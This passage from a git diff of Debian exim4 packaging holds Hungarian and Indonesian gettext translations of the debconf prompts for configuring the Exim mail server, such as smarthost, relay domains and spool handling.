+"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Normál módú üzemeltetéskor az Exim induláskor és levelek fogadásakor vagy " +"küldésekor DNS-kéréseket tesz. Ennek célja a naplózás és lehetÅ‘vé teszi a " +"bedrótozott értékek számának alacsonyan tartását a beállÃtásban." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Ha e rendszer nem bÃr állandó DNS feloldóval (például Internet hozzáférése " +"egy igény szerinti betárcsázós vonal) ez nem-kÃvánt következményekkel " +"járhat. Például az Exim indÃtása vagy a várakozó sor futtatása (még ha nincs " +"is várakozó levél) drága betárcsázást okozhat." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"E lehetÅ‘ség választandó, ha a rendszer szükség szerinti betárcsázást " +"használ. Ãllandó Internet eléréssel, e lehetÅ‘ség legyen kapcsolva." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "LevelezÅ‘ kiszolgáló beállÃtás" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Konfiguráció szétvágása kisebb fájlokba?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"A Debian levÅ‘ exim4 csomagoknál lehetséges a \"beállÃtás összefogása\" egy " +"nagy monolitikus fájlba (/etc/exim4/exim4.conf.template) és \"beállÃtás " +"szétvgása\", ahol az Exim beállÃtás az /etc/exim4/conf.d/ mintegy 50 db. " +"kisebb fájljából épül fel." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"A beállÃtás egyben tartása jobb nagy módosÃtásokra és általában stabilabb, a " +"szétvágással kényelmesebbek a kis módosÃtások, de könnyebb elrontani." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"A beállÃtás részletei a /usr/share/doc/exim4-base/README.Debian.gz fájlban " +"találhatók." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Elrejted a helyi levelezési nevet a kimenÅ‘ levelekbÅ‘l?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +#, fuzzy +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"A kimenÅ‘ levelek fejléce átÃrható, mintha más géprÅ‘l jönnének. E lehetÅ‘ség " +"választásakor a From, Reply-To, Sender és Return-Path mezÅ‘kben lévÅ‘ " +"\"${mailname}\" \"localhost\" és \"${dc_other_hostnames}\" átÃrásra kerül." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox formátum a /var/mail könyvtárban" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir formátum a saját könyvtárban" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "KézbesÃtési mód helyi levelekhez:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Az Exim a helyben kézbesÃtett leveleket több formában tudja tárolni. A " +"legáltalánosabban használtak az mbox és Maildir. Az mbox az egész levél-" +"mappát a /var/mail könyvtárban 1 fájlban tárolja. A Maildir formátum minden " +"egyes üzenetet külön fájlban tárol a ~/Maildir/ könyvtárban." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Jó tudni, hogy Debian rendszerben lévÅ‘ legtöbb levelezÅ‘ eszköz a helyi " +"kézbesÃtési módot alapértelmezetten mbox formában feltételezi." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "Ãtrakod az exim(v3) kézbesÃtetlen leveleket az exim4 sorba?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "KézbesÃtetlen levelek vannak az exim(v3) (vagy exim-tls(v3)) /var/spool/" +#~ "exim/input könyvtárban." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "E lehetÅ‘ség választása az üzeneteket az exim4 sorba teszi (/var/spool/" +#~ "exim4/input/), ahol majd az exim4 kezeli." + +#, fuzzy +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Ez egyirányú: az Exim4 kezeli az exim(v3) sort, nem fordÃtva. Tedd át az " +#~ "üzeneteket, ha nem tervezel visszatérni az exim(v3)-hoz. Egyébként az " +#~ "üzeneteket kézzel kell mozgatni késÅ‘bb." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Ãœresen hagyva az Exim nem kézbesÃt helyben." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Figyelem: ez csak odafelé működik, mivel az exim4 képes az exim(v3)-spool " +#~ "kezelésére, de visszafelé ez nem áll." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Csak akkor tedd át a leveleket, ha nem tervezed az exim(v3)-ra " +#~ "visszatérést, egyébként a leveleket ne most, hanem az átállás után kézzel " +#~ "mozgasd." + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Ha vannak továbbiak, azokat kettÅ‘spontokkal elválasztva add meg. Ha " +#~ "nincsenek, hagyd üresen." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "Add meg a tartományokat, melyekrÅ‘l leveleket továbbÃtásra elfogadsz." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Az ilyen tartományok levelei az Interneten akárhol eredhetnek, attól " +#~ "függetlenül elfogadja és továbbÃtja azokat. Helyi tartományokat itt ne " +#~ "adj meg." + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "A megadott tartományokat kettÅ‘spontok válasszák el. IllesztÅ‘karakterek is " +#~ "szerepelhetnek." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Mivel a kimenÅ‘ levelekben eltünteted a helyi levelezési nevet, meg kell " +#~ "adni a helyi felhasználóktól származó leveleken feltüntetendÅ‘ " +#~ "tartománynevet; ez tipikusan a levelek fogadására szolgáló gép neve." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Hol olvassák a felhasználók a leveleiket?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "E gép kimenÅ‘ leveleit kezelÅ‘ gép (\"smarthost\"):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "Add meg a kimenÅ‘ leveleket továbbÃtó gép nevét." + +#~ msgid "" +#~ "Mail for the \"postmaster\", \"root\", and other system accounts is " +#~ "usually redirected to the user account of the actual system " +#~ "administrator. If you leave this value empty, such mail will be saved in /" +#~ "var/mail/mail, which is not recommended. Note that postmaster's mail " +#~ "should be read on the system to which it is directed, rather than being " +#~ "forwarded elsewhere, so (at least one of) the users you choose should not " +#~ "redirect their mail off this machine. Use a \"real-\" prefix to force " +#~ "local delivery." +#~ msgstr "" +#~ "A \"postmaster\", \"root\" és egyéb rendszerfiókok részére küldött " +#~ "leveleket általában a tényleges rendszeradminisztrátornak szokták " +#~ "továbbÃtani. Ha üresen marad, az ilyen levelek a /var/mail/mail-be " +#~ "kerülnek, ami nem éppen optimális müködés. Fontos továbbá, hogy a " +#~ "\"postmaster\" részére küldött leveleket az adott gépen érdemes olvasni, " +#~ "kifelé továbbÃtás nélkül, ezért az itt megadott felhasználók legalább " +#~ "egyike ne továbbÃtsa a leveleit másik gépre. Egy \"real-\" elÅ‘tag " +#~ "megadásával kényszerÃthetÅ‘ a helyi kézbesÃtés." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Hálózati aktivitásra éledÅ‘ kapcsolatnál, érdemes ezt bekapcsolni, " +#~ "egyébként nem." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Válaszd az igényeidnek leginkább megfelelÅ‘ konfigurációtÃpust." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "Kétség esetén, ne a szétosztott konfigurációs fájlokat válaszd." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "egyedi Exim(v3)-beállÃtások kézi átkonvertálása" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Kézzel konfigurálod az Exim4-et?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Egyedi Exim(v3) beállÃtások kézi átkonvertálását tervezed. Ebben a " +#~ "telepÃtés után az exim_convert4r4(8) eszköz segÃthet. Érdemes elolvasni " +#~ "az /usr/share/doc/exim4-base/examples/example.conf.gz és az /usr/share/" +#~ "doc/exim4-base/README.Debian.gz fájlokat!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "A levelezÅ‘rendszer a konfigurálás végigvitele hÃján egyelÅ‘re " +#~ "működésképtelen állapotban marad." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "A \"levelezésben használt név\" a kimenÅ‘ hÃr- és levélüzenetekben " +#~ "megjelenÅ‘ cÃmeknek a gép nevébÅ‘l származó (a felhasználónév és a @-jel " +#~ "után álló) része (hacsak felülÃrással el nem rejted)." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Add meg a helyi géphálózatokat, melyekrÅ‘l leveleket továbbÃtásra " +#~ "elfogadsz." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Itt szerepeljen a jelen gépet \"smarthost\"-ként használó minden más gép." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "IPv6-cÃmekben dupla kettÅ‘spontok, \"négyespontok\" kellenek (pl. " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "KettÅ‘spontokkal elválasztva add meg a figyelÅ‘ IP-cÃmek listáját. Az IPv6-" +#~ "cÃmekben dupla kettÅ‘spontok, \"négyespontok\" kellenek (pl. " +#~ "5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Az Exim v4 konfigurálása (exim4-config)" + +#, fuzzy +#~ msgid "" +#~ "If you are configuring this system without local mail delivery this name " +#~ "won't appear on From: lines of mail, as rewriting is used." +#~ msgstr "" +#~ "Ha a jelen gépet \"szatellit\"-ként konfigurálja, akkor a cÃmen végzett " +#~ "átÃrás miatt a küldött levelek From: (feladó) mezÅ‘iben ez a név nem fog " +#~ "szerepelni." + +#~ msgid "" +#~ "Obviously, any machines that use us as a smarthost have to be excluded " +#~ "from the relaying controls, as using us to relay mail for them is the " +#~ "whole point." +#~ msgstr "" +#~ "A jelen gépet \"smarthost\"-ként, levéltovábbÃtásra használó minden gépet " +#~ "természetesen fel kell menteni a levéltovábbÃtási tilalom alól, hiszen az " +#~ "egész felállásnak pont az az értelme, hogy a jelen gép kifelé továbbÃtsa " +#~ "azok leveleit." + +#~ msgid "" +#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " +#~ "to one or more user accounts of the actual system administrators. The " +#~ "default is to set things up so that mail for \"postmaster\" and for " +#~ "various system accounts is redirected to \"root\", and mail for \"root\" " +#~ "is redirected to a real user. This can be changed by editing /etc/" +#~ "aliases." +#~ msgstr "" +#~ "A \"postmaster\" és a \"root\" fiókoknak cÃmzett leveleket a tényleges " +#~ "rendszeradminisztrátor(ok) fiókjába-fiókjaiba szokták átirányÃtani. " +#~ "Alapértelmezésben a \"postmaster\" (és egyéb rendszerszintű fiókok) " +#~ "leveleit a \"root\"-hoz szokták irányÃtani, a \"root\" leveleit pedig egy " +#~ "megadott valós felhasználónak. Ezt a felállást az /etc/aliases " +#~ "átszerkesztésével meg lehet változtatni." + +#~ msgid "" +#~ "System administrator mail goes to which user accounts? Enter one or more " +#~ "usernames separated by spaces or commas. Enter \"none\" if you do not " +#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " +#~ "run deliveries as root and will save the mail to /var/mail/mail Also, " +#~ "note that usernames should be lowercase!" +#~ msgstr "" +#~ "Melyik felhasználói fiókok fogadnak rendszeradminisztrátori " +#~ "levélforgalmat? VesszÅ‘kkel elválasztva adjon meg egy vagy több " +#~ "felhasználónevet. A \"none\" megadásával megakadályozhatja a levelek " +#~ "átirányÃtását. Figyelem, ez nem tanácsos. Az Exim nem kézbesÃthet a \"root" +#~ "\" felhasználó nevében, és az ilyen leveleket a /var/mail/mail-be menti. " +#~ "Ãœgyeljen továbbá arra is, hogy a megadott felhasználóneveket kisbetűkkel " +#~ "Ãrja." diff --git a/debian/po/id.po b/debian/po/id.po new file mode 100644 index 0000000..c8f78a4 --- /dev/null +++ b/debian/po/id.po @@ -0,0 +1,830 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-19 16:46+0700\n" +"Last-Translator: Arief S Fitrianto <arief@gurame.fisika.ui.ac.id>\n" +"Language-Team: Debian Indonesia <debian-l10n-id@gurame.fisika.ui.ac.id>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Hapus surat-surat yang tak terkirim dalam direktori spool?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Ada surat-surat di direktori spool milik exim, /var/spool/exim4/input, yang " +"belum terkirim. Membuang Exim akan meyebabkan surat-surat tersebut tak " +"terkirim sampai Exim terpasang kembali." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Jika pilihan ini tidak diambil, direktori spool tak disentuh, sehingga pesan-" +"pesan di dalamnya dapat dikirimkan kembali setelah Exim dipasang-ulang." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Konfigurasi ulang exim4-config, bukannya paket ini " + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 memiliki konfigurasi yang diletakkan terpisah dalam paket 'exim4-" +"config'. Jika Anda ingin konfigurasi-ulang Exim4, gunakan 'dpkg-reconfigure " +"exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "situs internet; surate dikirim dan diterima langsung lewat SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "surate dikirim lewat smarthost; diterima lewat SMTP atau fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "surate dikirim lewat smarthost; tidak ada surate lokal" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "hanya pengiriman lokal; bukan lewat jaringan" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "tidak ada konfigurasi untuk saat ini" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Jenis konfigurasi surate secara umum:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Silahkan pilih jenis konfigurasi server yang sesuai dengan kebutuhan anda." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistem dengan alamat IP dinamis, termasuk yang memakai telepon, umumnya " +"harus dikonfigurasi agar mengirimkan surate keluar dengan menggunakan " +"komputer lain sebagai pengirim, disebut sebagai \"smarthost\" karena " +"kebanyakan sistem di internet menolak surate yang datang dari alamat IP " +"dinamik sebagai perlindungan dari spam." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Suatu sistem dengan alamat IP dinamik dapat menerima surat sendiri, atau " +"pengiriman lokal dapat dimatikan seluruhnya (kecuali surat untuk root dan " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Benar-benar meninggalkan sistem surate tanpa konfigurasi?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Sebelum sistem surate Anda dikonfigurasi, sistem ini akan rusak dan tidak " +"dapat digunakan. Konfigurasi dapat dilakukan di lain waktu, baik secara " +"manual atau dengan menjalankan \"dpkg-reconfigure exim4-config\" sebagai " +"root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nama sistem surate:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'Nama Surat' adalah nama domain untuk 'mensahkan' alamat-alamat surat tanpa " +"nama domain." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Nama ini juga akan digunakan oleh program-program lain. Ia harus ditulis " +"jadi satu, nama domain lengkap (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Contohnya, jika sebuah alamat surat pada host lokal adalah foo@domain.org, " +"maka nilai yang benar untuk pilihan ini adalah domain.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Nama ini tidak akan muncul pada baris 'From:' dari surate keluar jika anda " +"mengaktifkan fitur penulisan-ulang. " + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Alamat surate tujuan lain yang diterima:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Silahkan masukkan sebuah daftar (dipisahkan dengan titik-koma) domain yang " +"dianggap oleh komputer ini sebagai alamat tujuan akhir. Domain-domain ini " +"biasanya disebut \"domain lokal\". Nama host lokal (${fqdn}) dan \"localhost" +"\" selalu dimasukkan dalam daftar. " + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Secara bawaan, semua domain akan diperlakukan sama. Jika a.example dan b." +"example adalah domain lokal, maka acc@a.example dan acc@b.example akan " +"dikirimkan ke tujuan akhir yang sama. Jika diperlukan perlakuan yang berbeda " +"untuk tiap domain, penting untuk menyunting berkas konfigurasi setelah ini." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domain yang akan direlai:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Silakan masukkan daftar (dipisahkan dengan titik-koma) domain penerima yang " +"akan diteruskan oleh sistam ini, misalnya sebagai MX cadangan atau gerbang " +"surate. Ini berarti bahwa sistem ini akan menerima surat untuk domain-domain " +"tersebut dari manapun dan meneruskannya sesuai dengan aturan pengiriman " +"lokal." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Jangan masukkan domain lokal di sini. Wildcard dapat pula digunakan." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Mesin yang akan direlai:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Silahkan masukkan daftar (dipisahkan dengan titik-koma) rentang alamat IP " +"yang akan diteruskan oleh sistem ini, menjadikan sistem ini sebagai " +"smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Anda harus menggunakan bentuk alamat/awalan standar (contohnya: " +"194.222.242.0/24 atau 5f03:1200:836f::/48). " + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "Jika sistem ini bukan smarthost, biarkan daftar ini kosong." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nama domain yang terlihat untuk pengguna lokal: " + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Pilihan untuk menyembunyikan nama surat lokal dalam surat keluar telah " +"diaktifkan. Karena itu, penting untuk menentukan nama domain yang digunakan " +"sistem ini sebagai domain untuk alamat pengirim pengguna lokal. " + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Alamat IP atau nama host untuk smarthost ke luar: " + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Silahkan masukkan alamat IP atau nama host yang akan digunakan sebagai " +"smarthost oleh sistem ini. Jika smarthost hanya menerima surat lewat port " +"yang berbeda dari TCP/25. tambahkan dua titik-dua dan nomor portnya " +"( contoh: smarthost.example::587 atau 192.168.254.254::2525). Titik-dua pada " +"alamat IPv6 ditulis dua-kali." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Jika smarthost mengharuskan otentikasi, lihat berkas README khusus Debian " +"di /usr/share/doc/exim4-base tentang pengaturan otentikasi SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Penerima surate untuk root dan postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Surat untuk 'portmaster', 'root', dan akun sistem lainnya perlu diarahkan ke " +"akun pengguna dari administrator sistem sesungguhnya." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Jika ruas ini kosong, surat akan disimpan di /var/mail/mail. Hal ini sangat " +"tidak dianjurkan." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Catatan: surat untuk postmaster harus dibaca di sistem yang diarahkan, " +"bukannya diteruskan ke tempat lain. Jadi (paling tidak satu) pengguna di " +"sistem ini tidak meneruskan surate mereka ke sistem lain. Sebuah awalan " +"'real-' dapat digunakan untuk memaksakan pengiriman lokal." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Nama pengguna yang banyak perlu dipisahkan oleh spasi." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr 